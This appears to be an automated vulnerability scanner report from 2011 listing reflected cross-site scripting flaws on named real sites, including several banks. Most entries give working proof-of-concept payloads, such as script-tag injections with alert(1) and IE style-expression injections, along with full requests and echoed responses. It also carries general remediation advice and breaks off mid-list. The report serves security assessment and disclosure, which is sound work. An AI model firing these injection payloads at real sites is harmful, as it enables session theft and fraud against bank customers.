Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the c request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0809"%3balert(1)//9def587ce2 was submitted in the c parameter. This input was echoed as e0809";alert(1)//9def587ce2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /42406/p1?e=https%3A//ebanking.bov.com&a=&c=0e0809"%3balert(1)//9def587ce2&A=ebc_ebc1961/ebc1961.asp/logonnpbs.co.ukybonline.co.ukonline.bankofamerica.com/cgi-bin/ias/accounts-overview..de/portal/portal/Home.do.hsbc.co.uk/1/2/personal/.halifax-online.co.uk/DisplayMyAccounts:viewMyAccountsnwolb.com/Statementsbanquepopulaire.fr/inversis.comwachovia.comibank.barclays.co.uk/loginTFA.domeine.deutsche-bank.de/trxm/db/itan.authorizationmijn.ing.nl/co-operativebank.co.uk/corp/BANKAWAYmillenniumbcp.pt/secure/jsessionid=gbw.it.chase.com/MyAccountsbcp.ptmy.ebay.co.uk/ws/eBayISAPI.dll?MyEbayManageTAN&R=norisbank.de/.banking.firstdirect.com/1/2/banking.anz.commyspace.com/paypal.secure/arcot.royalbank.com/CapitalOne_Consumer//cmserver/verify.cfmmail.live.com/mailcapitalone.comEBC_EBC1961/EBC1961.ASP/logonbepp/sanpt/usuarios.nwolb.ogin.aspx?rbbva.esbbva.mobi.citizensbankonline.com.indexsampopank./.citibank.com/US/JPS/portal/Home.do HTTP/1.1 Host: ebanking.bov.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://ebanking.bov.com/ib/login.jsp?language=EN&random=1317732548299 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 Ok Server: Sun-ONE-Web-Server/6.1 Date: Tue, 04 Oct 2011 12:50:12 GMT Content-length: 6431 Content-type: text/html Cache-control: private
1.2. http://milan.angloinfo.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://milan.angloinfo.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7af96"><script>alert(1)</script>81f189ad47e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?7af96"><script>alert(1)</script>81f189ad47e=1 HTTP/1.1 Host: milan.angloinfo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Vary: Accept-Encoding Server: Microsoft-IIS/7.0 X-Powered-By: ASP.NET MicrosoftOfficeWebServer: 5.0_Pub MS-Author-Via: MS-FP/4.0 Date: Tue, 04 Oct 2011 12:51:40 GMT Content-Length: 47440
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head> <title>AngloINFO Milan: living in and moving to Milan, Italy</title><META name="title" content="AngloINFO Milan: living i ...[SNIP]... <a href="/forum/login.asp?continue=/?7af96"><script>alert(1)</script>81f189ad47e=1"> ...[SNIP]...
1.3. http://www.banif.com.mt/foreign-exchange-rates [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.banif.com.mt
Path:
/foreign-exchange-rates
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e7a5"><script>alert(1)</script>98dd60eb828 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Tue, 04 Oct 2011 12:44:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 20796
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>Banif Bank ...[SNIP]... <a href="/printpage.aspx?l=1&pgid=92&9e7a5"><script>alert(1)</script>98dd60eb828=1" target="_blank"> ...[SNIP]...
1.4. http://www.banif.com.mt/personal-banking [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.banif.com.mt
Path:
/personal-banking
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7204"><script>alert(1)</script>067c725ec36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Tue, 04 Oct 2011 12:47:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22729
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>Banif Bank ...[SNIP]... <a href="/printpage.aspx?l=1&pgid=36&d7204"><script>alert(1)</script>067c725ec36=1" target="_blank"> ...[SNIP]...
1.5. http://www.banif.com.mt/register-account [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.banif.com.mt
Path:
/register-account
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a336"><script>alert(1)</script>8de24f3e7e4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Tue, 04 Oct 2011 12:49:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22978
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>Banif Bank ...[SNIP]... <a href="/printpage.aspx?l=1&pgid=64&4a336"><script>alert(1)</script>8de24f3e7e4=1" target="_blank"> ...[SNIP]...
1.6. http://www.banif.com.mt/searchresults [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.banif.com.mt
Path:
/searchresults
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ec2c"><script>alert(1)</script>6f52850f873 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the SMAGENTNAME request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6efbf"style%3d"x%3aexpression(alert(1))"115614e6bf7 was submitted in the SMAGENTNAME parameter. This input was echoed as 6efbf"style="x:expression(alert(1))"115614e6bf7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the TARGET request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88539"style%3d"x%3aexpression(alert(1))"d8d2df44c72 was submitted in the TARGET parameter. This input was echoed as 88539"style="x:expression(alert(1))"d8d2df44c72 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The value of the smagentname request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffd04"style%3d"x%3aexpression(alert(1))"6e0821642f78e649e was submitted in the smagentname parameter. This input was echoed as ffd04"style="x:expression(alert(1))"6e0821642f78e649e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cb77"style%3d"x%3aexpression(alert(1))"ad7ed733b5c9edf8a was submitted in the target parameter. This input was echoed as 2cb77"style="x:expression(alert(1))"ad7ed733b5c9edf8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the TARGET request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24ea7"style%3d"x%3aexpression(alert(1))"805d8949205af3a64 was submitted in the TARGET parameter. This input was echoed as 24ea7"style="x:expression(alert(1))"805d8949205af3a64 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
1.12. http://www.ca-cib.com/sitegenic/medias/FLASH/11058/anim-vignette-rh-dec-2010-eng.swf [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7fd0e"><script>alert(1)</script>e0c6fe5fa15 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:12:00 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/FLASH/11058/anim-vignette-rh-dec-2010-eng.swf?7fd0e"><script>alert(1)</script>e0c6fe5fa15=1 Content-Length: 324 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/FLASH/11058/anim-vignette-rh-dec-2010-eng.swf?7fd0e"><script>alert(1)</script>e0c6fe5fa15=1"> ...[SNIP]...
1.13. http://www.ca-cib.com/sitegenic/medias/FLASH/58002/anim-film-entier-2011-en-v2.swf [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b63a"><script>alert(1)</script>4269baa098d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:14:32 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/FLASH/58002/anim-film-entier-2011-en-v2.swf?7b63a"><script>alert(1)</script>4269baa098d=1 Content-Length: 322 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/FLASH/58002/anim-film-entier-2011-en-v2.swf?7b63a"><script>alert(1)</script>4269baa098d=1"> ...[SNIP]...
1.14. http://www.ca-cib.com/sitegenic/medias/FLASH/89426/anim-awardscib-uk-05-2011.swf [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd02b"><script>alert(1)</script>d10b162528d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:14:45 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/FLASH/89426/anim-awardscib-uk-05-2011.swf?fd02b"><script>alert(1)</script>d10b162528d=1 Content-Length: 320 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/FLASH/89426/anim-awardscib-uk-05-2011.swf?fd02b"><script>alert(1)</script>d10b162528d=1"> ...[SNIP]...
1.15. http://www.ca-cib.com/sitegenic/medias/IMAGE/39084/2010-actualisation-document-reference-vignette-eng-144.png [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cc21"><script>alert(1)</script>026211d4e2e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/39084/2010-actualisation-document-reference-vignette-eng-144.png?3cc21"><script>alert(1)</script>026211d4e2e=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:12:00 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/39084/2010-actualisation-document-reference-vignette-eng-144.png?3cc21"><script>alert(1)</script>026211d4e2e=1 Content-Length: 349 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/39084/2010-actualisation-document-reference-vignette-eng-144.png?3cc21"><script>alert(1)</script>026211d4e2e=1"> ...[SNIP]...
1.16. http://www.ca-cib.com/sitegenic/medias/IMAGE/39084/vignette-couv-ra-cacib-2010-eng-144-v2.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3bfee"><script>alert(1)</script>d1cdd0f36f5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/39084/vignette-couv-ra-cacib-2010-eng-144-v2.jpg?3bfee"><script>alert(1)</script>d1cdd0f36f5=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:58 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/39084/vignette-couv-ra-cacib-2010-eng-144-v2.jpg?3bfee"><script>alert(1)</script>d1cdd0f36f5=1 Content-Length: 333 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/39084/vignette-couv-ra-cacib-2010-eng-144-v2.jpg?3bfee"><script>alert(1)</script>d1cdd0f36f5=1"> ...[SNIP]...
1.17. http://www.ca-cib.com/sitegenic/medias/IMAGE/40885/boite-vignette-image-film-partie-2-janvier-2011-eng.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aef60"><script>alert(1)</script>c7daded7c53 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:14:41 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/40885/boite-vignette-image-film-partie-2-janvier-2011-eng.jpg?aef60"><script>alert(1)</script>c7daded7c53=1 Content-Length: 346 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/40885/boite-vignette-image-film-partie-2-janvier-2011-eng.jpg?aef60"><script>alert(1)</script>c7daded7c53=1"> ...[SNIP]...
1.18. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small01.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5368b"><script>alert(1)</script>bb40ba7e93c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small01.gif?5368b"><script>alert(1)</script>bb40ba7e93c=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:55 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small01.gif?5368b"><script>alert(1)</script>bb40ba7e93c=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small01.gif?5368b"><script>alert(1)</script>bb40ba7e93c=1"> ...[SNIP]...
1.19. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small02.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74b5e"><script>alert(1)</script>88d72c249f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small02.gif?74b5e"><script>alert(1)</script>88d72c249f8=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:56 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small02.gif?74b5e"><script>alert(1)</script>88d72c249f8=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small02.gif?74b5e"><script>alert(1)</script>88d72c249f8=1"> ...[SNIP]...
1.20. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small05.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2544"><script>alert(1)</script>1b709d3dfd9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small05.gif?d2544"><script>alert(1)</script>1b709d3dfd9=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:57 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small05.gif?d2544"><script>alert(1)</script>1b709d3dfd9=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small05.gif?d2544"><script>alert(1)</script>1b709d3dfd9=1"> ...[SNIP]...
1.21. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small06.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c193"><script>alert(1)</script>d05506494a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small06.gif?4c193"><script>alert(1)</script>d05506494a4=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:54 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small06.gif?4c193"><script>alert(1)</script>d05506494a4=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small06.gif?4c193"><script>alert(1)</script>d05506494a4=1"> ...[SNIP]...
1.22. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small07.gif [name of an arbitrarily supplied request parameter]previousnext
